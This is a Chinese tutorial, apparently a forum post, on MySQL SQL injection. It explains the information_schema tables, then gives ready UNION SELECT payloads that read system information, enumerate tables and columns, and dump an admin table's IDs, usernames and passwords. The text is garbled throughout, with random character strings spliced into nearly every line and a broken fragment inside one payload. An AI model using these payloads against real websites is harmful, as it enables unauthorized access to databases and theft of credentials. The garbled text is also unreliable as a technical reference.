本文介绍MYSQL盲注的一些语句和方法
3 w9 a: d' p) o6 U( w# y( a( R. _7 P; `3 i; e( { W; T
学习盲注前先了解下 IFORMATION_SCHEMA 库
( m+ F2 p; u( y# p Y$ o& G3 M& }) V2 U( {( w- v* V
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有; v- w9 w- Z8 ]) O( y9 h$ F: @
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。# G1 }4 B" e* C6 r' |
1.得到所有数据库名:$ a r, h% W! I0 r4 ?+ Z
|SCHEMATA ->存储数据库名的表
" F3 ]7 u' A5 f- E9 I5 q|---字段:SCHEMA_NAME ->数据库名称. j* Q% v: u$ ?
& U5 R$ q4 u+ e/ U! i: L
|TABLES ->存储表名7 w" x# E, a3 }; d
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名5 u' {+ n' S- `1 A, i6 \+ R9 l8 B
|---字段:TABLE_NAME ->存储表的表名
7 g2 K7 n' }# s+ f% V* y; O" S1 p
" [: v, { }" y! G; Z }|COLUMNS ->存储的字段名表3 h7 U2 a6 X9 ~. y5 L$ q
|---字段:TABLE_SCHEMA ->该字段所属数据库名* a: F3 T& j- V" d! @3 L
|---字段:TABLE_NAME ->存储所属表的名称
2 ~/ o, u( L$ \( I; M( P# M" ]) l2 w# O3 H& l4 f* c. _6 n$ e, _2 k
|---字段:COLUMN_NAME ->该字段的名称
8 u) m, P: h/ U8 I; S) ^2 o3 e% _: O9 w/ ^
/ z2 t* l- ? Z- z4 c
1 J# B) j1 G& \' V7 \0 a) {
###########################################################################
1 i2 T' C9 }. z3 u+ i8 j& F# c6 {& l& x5 F
0x001 获取系统信息:+ k+ V% n, d/ z; D x9 a! y* I, g
4 W3 h* X9 g% C) R. Q& ?. [
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*, W# Z* A' M* n
( x/ A8 K, y1 W# E4 {. t/*1 o. I: K) D5 q0 L8 I7 K9 \
' {" ^) V, I$ f, N, k1 l6 L! @7 @@@global.version_compile_os 获取系统版本+ T5 J9 \9 a/ p2 X) a0 H
% J: D; F+ r3 A! B8 ]
@@datadir 数据库路径
, x" W- \" E4 L+ w& a* o6 K/ Ydatabase() 当前数据库名称9 J e, e6 g2 V
0x3c62723e 换行HEX值3 N2 M- _! V9 c( T$ K* S" L7 [
* i$ b4 Q( U: J6 _
*/
6 M+ |! c7 k9 W R7 F, x% @7 V7 j* S. c2 w
" N$ _( q! R+ t; o g7 ]
& L( C: f* Y% A# G+ U& l1 L
######################################################################
4 q+ v1 g* a2 R3 p7 {' k
5 L& }4 K, }6 f/ l6 N. ]! o! Q0x002 获取表名% Z: \3 z% K# @; F; a4 Z6 ~3 P
+ l0 X4 ~. \' ]8 s; G
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
9 c/ B6 C s2 X2 U* S) ^9 `% @# n$ y4 `7 G
' }* ]: m, a& z" ` k: ~5 U2 w
4 Q" _- _' V2 f5 n5 y* A
/*& L! D( x' u7 I% E R
. H( u+ V. W, \2 j/ @8 b2 S2 M
0x67617264656e 为当前数据库名
: f( f4 h" B2 A
, m% O5 `1 L( Kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名+ S* F [. X. M/ y2 ~0 n# {
- o7 I' E: w! U! |*/
9 R4 r: H" g2 p0 J, q
! f' Z' A, u$ {. C( a/ W######################################################################' L* z) \- A$ k% N% Y
3 `8 A! m: M/ P( \& o- ?+ R
: |% C4 s# r1 s# o& w9 H
( t O4 k7 r2 ^% q$ Q3 c
0x003 获取字段' ]) I' D: x5 a9 q) s( f4 E
, J6 N3 {3 S. bunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*& p- d9 F' w. y. a. M! @9 z+ n
* }) z8 H& F1 S1 \" Q% Y; |5 W/*1 k+ Q1 r) l: x; |
n. \! G/ _9 n
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
1 Y) \$ I3 e, Z7 k2 x1 p! i' ~, O1 s
0x61646d696e ->选择一个表) M$ h% T7 P( u0 U
; T( u: Z/ J3 A0x67617264656e ->数据库名! P& ^+ a& j& s7 @( z
! t0 n( K, R! y/ R5 M" \*// e2 [' R( ^6 F+ H! w
5 u/ X0 k7 r8 n
#####################################################################
5 t& l5 [3 M. x o
$ n1 W& H( W2 }( v8 v1 l
4 W* @, P" f6 O& s5 _0 t5 B+ q4 h" P, i
0x004 获取数据
1 D0 S, K1 \8 I; L# c- o/ P
; k: H$ |" F3 u6 A3 tunion select 1,2,3+ ~4 R2 c) y0 W+ c7 e2 _3 }
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
1 y {0 o* g) w( C: o- Y" \ f
; ]: x$ ^2 L5 Z" T0 Wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin( j7 y& L6 g. I. ~) I
6 g1 k( h* A* p0 X
" s0 B! X3 x* C6 m9 ]1 ^; o e; P8 b+ {$ r% h: g7 C
/*# f5 U. M, H l' s; I
. A1 v* h7 A& l0x3c62723e 换行符号HEX编码
) P& D3 t8 n. A8 l4 z0 c1 m$ @4 T% \: e5 z6 N7 C5 i t k
group_concat 同时获得该字段所有数据
& o2 J# b& `( k/ i
6 k8 }9 \0 Z+ K8 R) h& J, e% B0 \*// k! f: K8 d4 H8 A1 M* {- ]
5 u' P( [) y* j3 p, e! O |